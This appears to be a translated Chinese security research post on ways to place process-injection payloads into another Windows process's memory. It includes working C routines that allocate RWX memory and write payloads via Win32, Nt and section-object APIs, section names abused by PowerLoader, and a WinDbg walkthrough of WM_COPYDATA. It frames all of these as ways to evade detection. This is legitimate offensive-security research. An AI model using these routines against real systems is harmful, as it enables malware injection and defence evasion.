前言
上次一篇文章討論了編寫進程注入payload時的一些問題。本文的目的是討論將payload部署到目標進程的內存空間以便執行。我們可以使用傳統的Win32 API來完成這個任務,有些讀者可能已經對此很熟悉了,但是使用非常規方法也有可能具有創造性。例如,我們可以使用API來執行它們原本不想要的讀寫操作,這可能有助于避免檢測。部署和執行payload的方法有多種,但并不是所有的方法都簡單易用。讓我們首先關注傳統的API,它雖然相對容易檢測,但在攻擊者中仍然很受歡迎。
下面是來自Sysinals的VMMap屏幕截圖,顯示了為我將要處理的系統(Windows 10)分配的內存類型。其中一些內存有可能用于存儲payload。
分配虛擬內存
每個進程都有自己的虛擬地址空間。共享內存存在于進程之間,但一般來說,進程A不應該能夠在沒有內核幫助的情況下查看進程B的虛擬內存。當然,內核可以看到所有進程的虛擬內存,因為它必須執行虛擬內存到物理內存的轉換。進程A可以使用虛擬內存API在進程B的地址空間中分配新的虛擬內存,然后由內核處理。有些讀者可能熟悉在另一個進程的虛擬內存中部署payload的步驟:
使用Win32 API。這只顯示XRW內存的分配和將payload寫入新內存。
PVOID CopyPayload1(HANDLE hp, LPVOID payload, ULONG payloadSize){
LPVOID ptr=NULL;
SIZE_T tmp;
// 1. allocate memory
ptr = VirtualAllocEx(hp, NULL,
payloadSize, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 2. write payload
WriteProcessMemory(hp, ptr,
payload, payloadSize, &tmp);
return ptr;
}
或者使用Nt/Zw API。
LPVOID CopyPayload2(HANDLE hp, LPVOID payload, ULONG payloadSize){
LPVOID ptr=NULL;
ULONG len=payloadSize;
NTSTATUS nt;
ULONG tmp;
// 1. allocate memory
NtAllocateVirtualMemory(hp, &ptr, 0,
&len, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE|PAGE_READWRITE);
// 2. write payload
NtWriteVirtualMemory(hp, ptr,
payload, payloadSize, &tmp);
return ptr;
}
雖然這里沒有顯示,但可能會使用其他操作來刪除虛擬內存的寫入權限。
創建section object
另一種方法是使用section object。微軟對此有何說明?
section object表示可以共享的內存段。進程可以使用section object與其他進程共享其內存地址空間的一部分。section object還提供了進程可以將文件映射到其內存地址空間的機制。
雖然在常規應用程序中使用這些API表明存在惡意,但攻擊者將繼續使用它們進行進程注入。
LPVOID CopyPayload3(HANDLE hp, LPVOID payload, ULONG payloadSize){
HANDLE s;
LPVOID ba1=NULL, ba2=NULL;
ULONG vs=0;
LARGE_INTEGER li;
li.HighPart = 0;
li.LowPart = payloadSize;
// 1. create a new section
NtCreateSection(&s, SECTION_ALL_ACCESS,
NULL, &li, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// 2. map view of section for current process
NtMapViewOfSection(s, GetCurrentProcess(),
&ba1, 0, 0, 0, &vs, ViewShare,
0, PAGE_EXECUTE_READWRITE);
// 3. map view of section for target process
NtMapViewOfSection(s, hp, &ba2, 0, 0, 0,
&vs, ViewShare, 0, PAGE_EXECUTE_READWRITE);
// 4. copy payload to section of memory
memcpy(ba1, payload, payloadSize);
// 5. unmap memory in the current process
ZwUnmapViewOfSection(GetCurrentProcess(), ba1);
// 6. close section
ZwClose(s);
// 7. return pointer to payload in target process space
return (PBYTE)ba2;
}
使用現有的section object和ROP鏈
PowerLoader惡意程序使用由Explorer.exe創建的現有共享對象來存儲payload,但由于對象(讀寫)的權限,如果不使用面向返回的編程(ROP)鏈,無法直接執行代碼。可以將payload復制到內存中,但如果沒有一些額外的技巧,就無法執行它。
PowerLoader使用以下section名進行代碼注入:
"BaseNamedObjectsShimSharedMemory"
"BaseNamedObjectswindows_shell_global_counters"
"BaseNamedObjectsMSCTF.Shared.SFM.MIH"
"BaseNamedObjectsMSCTF.Shared.SFM.AMF"
"BaseNamedObjectsUrlZonesSM_Administrator"
"BaseNamedObjectsUrlZonesSM_SYSTEM"
UI共享內存
Ensilo使用PowerLoaderEx演示了使用UI共享內存執行進程。Steroids注入:無密碼的代碼注入和0day技術 描述了更多關于它如何工作的細節。它使用桌面堆棧將payload注入explorer.exe。
閱讀MSDN上的桌面堆棧概述,我們可以看到用戶界面的進程之間已經有共享內存。
每個桌面對象都有一個與之關聯的桌面堆棧。桌面堆棧存儲某些用戶界面對象,如窗口、菜單和鉤子。當應用程序需要一個用戶界面對象時,調用user32.dll中的函數來分配這些對象。如果應用程序不依賴于user32.dll,則不使用桌面堆棧。讓我們來看一個簡單的應用程序如何使用桌面堆棧的示例。
使用code cave
基于主機的入侵防御系統(Host Intrusion Prevention Systems/HIPS)將VirtualAllocEx/WriteProcessMemory的使用為可疑活動,這可能是PowerLoader的作者使用現有部分對象的原因。PowerLoader很可能啟發了AtomBombing背后的作者使用動態鏈接庫(DLL)中的code cave來存儲payload,并使用ROP鏈執行。
AtomBombing使用GlobalAddAtom、GlobalGetAtomName和NtQueueApcThread的組合將payload部署到目標進程中。執行是使用ROP鏈和SetThreadContext完成的。如果不使用標準方法,還有什么其他方法可以部署payload呢?
進程間通信(IPC)可用于與另一個進程共享數據。實現這一目標的一些方法包括:
為了完成本文,我決定檢查WM_COPYDATA,但是事后看來,我認為COM可能是更好的方式。
可以通過WM_COPYDATA消息在GUI進程之間合法地共享數據,但是它可以用于進程注入嗎?SendMessage和PostMessage是兩種這樣的API,可用于將數據寫入遠程進程空間,而無需顯式打開目標進程并使用虛擬內存API在那里復制數據。
Tarjei Mandt在Blackhat 2011上展示的通過User-Mode回調進行的內核攻擊 使我研究了使用位于進程環境塊(PEB)中的KernelCallbackTable進行進程注入的可能性。當user32.dll加載到GUI進程中時,該字段被初始化為一個函數數組,這是我最初開始了解內核如何發送窗口消息的地方。
將WinDbg附加到記事本上,獲取PEB的地址。
0:001> !peb
!peb
PEB at 0000009832e49000
將其轉儲到windows調試器中將顯示以下詳細信息。我們感興趣的是KernelCallbackTable,所以我已經去掉了大部分字段。
0:001> dt !_PEB 0000009832e49000
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
// details stripped out
+0x050 ReservedBits0 : 0y0000000000000000000000000 (0)
+0x054 Padding1 : [4] ""
+0x058 KernelCallbackTable : 0x00007ffd6afc3070 Void
+0x058 UserSharedInfoPtr : 0x00007ffd6afc3070 Void
如果我們使用轉儲符號命令轉儲地址0x00007ffd6afc3070,就會看到對USER32!apfnDispatch的引用。
0:001> dps $peb+58
0000009832e49058 00007ffd6afc3070 USER32!apfnDispatch
0000009832e49060 0000000000000000
0000009832e49068 0000029258490000
0000009832e49070 0000000000000000
0000009832e49078 00007ffd6c0fc2e0 ntdll!TlsBitMap
0000009832e49080 000003ffffffffff
0000009832e49088 00007df45c6a0000
0000009832e49090 0000000000000000
0000009832e49098 00007df45c6a0730
0000009832e490a0 00007df55e7d0000
0000009832e490a8 00007df55e7e0228
0000009832e490b0 00007df55e7f0650
0000009832e490b8 0000000000000001
0000009832e490c0 ffffe86d079b8000
0000009832e490c8 0000000000100000
0000009832e490d0 0000000000002000
仔細檢查USER32!apfnDispatch可以發現一系列函數。
0:001> dps USER32!apfnDispatch
00007ffd6afc3070 00007ffd6af62bd0 USER32!_fnCOPYDATA
00007ffd6afc3078 00007ffd6afbae70 USER32!_fnCOPYGLOBALDATA
00007ffd6afc3080 00007ffd6af60420 USER32!_fnDWORD
00007ffd6afc3088 00007ffd6af65680 USER32!_fnNCDESTROY
00007ffd6afc3090 00007ffd6af696a0 USER32!_fnDWORDOPTINLPMSG
00007ffd6afc3098 00007ffd6afbb4a0 USER32!_fnINOUTDRAG
00007ffd6afc30a0 00007ffd6af65d40 USER32!_fnGETTEXTLENGTHS
00007ffd6afc30a8 00007ffd6afbb220 USER32!_fnINCNTOUTSTRING
00007ffd6afc30b0 00007ffd6afbb750 USER32!_fnINCNTOUTSTRINGNULL
00007ffd6afc30b8 00007ffd6af675c0 USER32!_fnINLPCOMPAREITEMSTRUCT
00007ffd6afc30c0 00007ffd6af641f0 USER32!__fnINLPCREATESTRUCT
00007ffd6afc30c8 00007ffd6afbb2e0 USER32!_fnINLPDELETEITEMSTRUCT
00007ffd6afc30d0 00007ffd6af6bc00 USER32!__fnINLPDRAWITEMSTRUCT
00007ffd6afc30d8 00007ffd6afbb330 USER32!_fnINLPHELPINFOSTRUCT
00007ffd6afc30e0 00007ffd6afbb330 USER32!_fnINLPHELPINFOSTRUCT
00007ffd6afc30e8 00007ffd6afbb430 USER32!_fnINLPMDICREATESTRUCT
第一個函數USER32!_fnCOPYDATA在進程A向屬于進程B的窗口發送WM_COPYDATA消息時調用。內核將向目標窗口句柄發送消息,包括其他參數,這些消息將由與其關聯的windows進程處理。
0:001> u USER32!_fnCOPYDATA
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58 sub rsp,58h
00007ffd6af62bd4 33c0 xor eax,eax
00007ffd6af62bd6 4c8bd1 mov r10,rcx
00007ffd6af62bd9 89442438 mov dword ptr [rsp+38h],eax
00007ffd6af62bdd 4889442440 mov qword ptr [rsp+40h],rax
00007ffd6af62be2 394108 cmp dword ptr [rcx+8],eax
00007ffd6af62be5 740b je USER32!_fnCOPYDATA+0x22 (00007ffd6af62bf2)
00007ffd6af62be7 48394120 cmp qword ptr [rcx+20h],rax
在這個函數上設置斷點并繼續執行。
0:001> bp USER32!_fnCOPYDATA
0:001> g
下面的代碼將把WM_COPYDATA消息發送到記事本。編譯并運行它。
int main(void){
COPYDATASTRUCT cds;
HWND hw;
WCHAR msg[]=L"I don't know what to say!n";
hw = FindWindowEx(0,0,L"Notepad",0);
if(hw!=NULL){
cds.dwData = 1;
cds.cbData = lstrlen(msg)*2;
cds.lpData = msg;
// copy data to notepad memory space
SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
}
return 0;
}
一旦該代碼執行,它將在發送WM_COPYDATA消息之前嘗試查找記事本的窗口句柄,這將觸發調試器中的斷點。調用堆棧顯示調用的發源地,在本例中是來自KiUserCallbackDispatcherContinue。根據調用約定,參數放在RCX、RDX、R8和R9中。
Breakpoint 0 hit
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58 sub rsp,58h
0:000> k
# Child-SP RetAddr Call Site
00 0000009832caf618 00007ffd6c03dbc4 USER32!_fnCOPYDATA
01 0000009832caf620 00007ffd688d1144 ntdll!KiUserCallbackDispatcherContinue
02 0000009832caf728 00007ffd6af61b0b win32u!NtUserGetMessage+0x14
03 0000009832caf730 00007ff79cc13bed USER32!GetMessageW+0x2b
04 0000009832caf790 00007ff79cc29333 notepad!WinMain+0x291
05 0000009832caf890 00007ffd6bb23034 notepad!__mainCRTStartup+0x19f
06 0000009832caf950 00007ffd6c011431 KERNEL32!BaseThreadInitThunk+0x14
07 0000009832caf980 0000000000000000 ntdll!RtlUserThreadStart+0x21
0:000> r
rax=00007ffd6af62bd0 rbx=0000000000000000 rcx=0000009832caf678
rdx=00000000000000b0 rsi=0000000000000000 rdi=0000000000000000
rip=00007ffd6af62bd0 rsp=0000009832caf618 rbp=0000009832caf829
r8=0000000000000000 r9=00007ffd6afc3070 r10=0000000000000000
r11=0000000000000244 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58 sub rsp,58h
將第一個參數的內容轉儲到RCX寄存器中,顯示了示例程序發送的一些可識別數據。notepad!NPWndProc顯然是與接收WM_COPYDATA的目標窗口相關聯的回調過程。
0:000> dps rcx
0000009832caf678 00000038000000b0
0000009832caf680 0000000000000001
0000009832caf688 0000000000000000
0000009832caf690 0000000000000070
0000009832caf698 0000000000000000
0000009832caf6a0 0000029258bbc070
0000009832caf6a8 000000000000004a // WM_COPYDATA
0000009832caf6b0 00000000000c072e
0000009832caf6b8 0000000000000001
0000009832caf6c0 0000000000000001
0000009832caf6c8 0000000000000034
0000009832caf6d0 0000000000000078
0000009832caf6d8 00007ff79cc131b0 notepad!NPWndProc
0000009832caf6e0 00007ffd6c039da0 ntdll!NtdllDispatchMessage_W
0000009832caf6e8 0000000000000058
0000009832caf6f0 006f006400200049
傳遞給fnCOPYDATA的結構不是調試符號的一部分,但是下面是我們所看到的:
typedef struct _CAPTUREBUF {
DWORD cbCallback;
DWORD cbCapture;
DWORD cCapturedPointers;
PBYTE pbFree;
DWORD offPointers;
PVOID pvVirtualAddress;
} CAPTUREBUF, *PCAPTUREBUF;
typedef struct _FNCOPYDATAMSG {
CAPTUREBUF CaptureBuf;
PWND pwnd;
UINT msg;
HWND hwndFrom;
BOOL fDataPresent;
COPYDATASTRUCT cds;
ULONG_PTR xParam;
PROC xpfnProc;
} FNCOPYDATAMSG;
繼續并檢查寄存器的內容。
0:000> r
r
rax=00007ffd6c039da0 rbx=0000000000000000 rcx=00007ff79cc131b0
rdx=000000000000004a rsi=0000000000000000 rdi=0000000000000000
rip=00007ffd6af62c16 rsp=0000009832caf5c0 rbp=0000009832caf829
r8=00000000000c072e r9=0000009832caf6c0 r10=0000009832caf678
r11=0000000000000244 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
USER32!_fnCOPYDATA+0x46:
00007ffd6af62c16 498b4a28 mov rcx,qword ptr [r10+28h] ds:0000009832caf6a0=0000029258bbc070
0:000> u rcx
notepad!NPWndProc:
00007ff79cc131b0 4055 push rbp
00007ff79cc131b2 53 push rbx
00007ff79cc131b3 56 push rsi
00007ff79cc131b4 57 push rdi
00007ff79cc131b5 4154 push r12
00007ff79cc131b7 4155 push r13
00007ff79cc131b9 4156 push r14
00007ff79cc131bb 4157 push r15
我們看到一個指向COPYDATASTRUCT的指針被放置在R9中。
0:000> dps r9
0000009832caf6c0 0000000000000001
0000009832caf6c8 0000000000000034
0000009832caf6d0 0000009832caf6f0
0000009832caf6d8 00007ff79cc131b0 notepad!NPWndProc
0000009832caf6e0 00007ffd6c039da0 ntdll!NtdllDispatchMessage_W
0000009832caf6e8 0000000000000058
0000009832caf6f0 006f006400200049
0000009832caf6f8 002000740027006e
0000009832caf700 0077006f006e006b
0000009832caf708 0061006800770020
0000009832caf710 006f007400200074
0000009832caf718 0079006100730020
0000009832caf720 00000000000a0021
0000009832caf728 00007ffd6af61b0b USER32!GetMessageW+0x2b
0000009832caf730 0000009800000000
0000009832caf738 0000000000000001
這個結構是在調試符號中定義的,所以我們可以轉儲它,顯示它包含的值。
0:000> dt uxtheme!COPYDATASTRUCT 0000009832caf6c0
+0x000 dwData : 1
+0x008 cbData : 0x34
+0x010 lpData : 0x0000009832caf6f0 Void
最后,檢查應該包含從進程A發送的字符串的lpData字段。
0:000> du poi(0000009832caf6c0+10)
0000009832caf6f0 "I don't know what to say!."
我們可以看到這個地址屬于創建線程時分配的堆棧。
0:000> !address 0000009832caf6f0
Usage: Stack
Base Address: 0000009832c9f000
End Address: 0000009832cb0000
Region Size: 0000000000011000 ( 68.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 0000009832c30000
Allocation Protect: 00000004 PAGE_READWRITE
More info: ~0k
檢查位于線程環境塊(Thread Environment Block/TEB)中的線程信息塊(Thread Information Block/TIB)為我們提供了StackBase和StackLimit。
0:001> dx -r1 (*((uxtheme!_NT_TIB *)0x9832e4a000))
(*((uxtheme!_NT_TIB *)0x9832e4a000)) [Type: _NT_TIB]
[+0x000] ExceptionList : 0x0 [Type: _EXCEPTION_REGISTRATION_RECORD *]
[+0x008] StackBase : 0x9832cb0000 [Type: void *]
[+0x010] StackLimit : 0x9832c9f000 [Type: void *]
[+0x018] SubSystemTib : 0x0 [Type: void *]
[+0x020] FiberData : 0x1e00 [Type: void *]
[+0x020] Version : 0x1e00 [Type: unsigned long]
[+0x028] ArbitraryUserPointer : 0x0 [Type: void *]
[+0x030] Self : 0x9832e4a000 [Type: _NT_TIB *]
好的,我們可以使用WM_COPYDATA將payload部署到一個目標進程(如果它有一個附加的GUI),但是除非我們能夠執行它,否則它是沒有用的。此外,堆棧是一個易變的內存區域,因此不可靠,無法用作code cave。要執行它,需要找到確切的地址并使用ROP鏈。當ROP鏈被執行時,不能保證payload仍然是完整的。因此,在這種情況下,我們可能不能使用WM_COPYDATA,但需要記住的是,可能有許多方法可以使用合法API與另一個進程共享payload,這些API比使用WriteProcessMemory或NtWriteVirtualMemory更不可疑。
對于WM_COPYDATA,仍然需要確定payload堆棧中的確切地址。可以使用ThreadBasicInformation類通過NtQueryThreadInformationAPI檢索線程環境塊(TEB)的內容。讀取TebAddress后,可以讀取StackLimit和StackBase值。在任何情況下,堆棧的波動性意味著在執行之前payload可能會被覆蓋。
總結
避免使用用于部署和執行payload的常規API都會增加檢測的難度。PowerLoader在現有的section object中使用了一個code cave,并使用了一個ROP鏈來執行。PowerLoaderEx是一個PoC,它使用桌面堆棧,而AtomBombing的PoC使用DLL的.data部分中的一個code cave。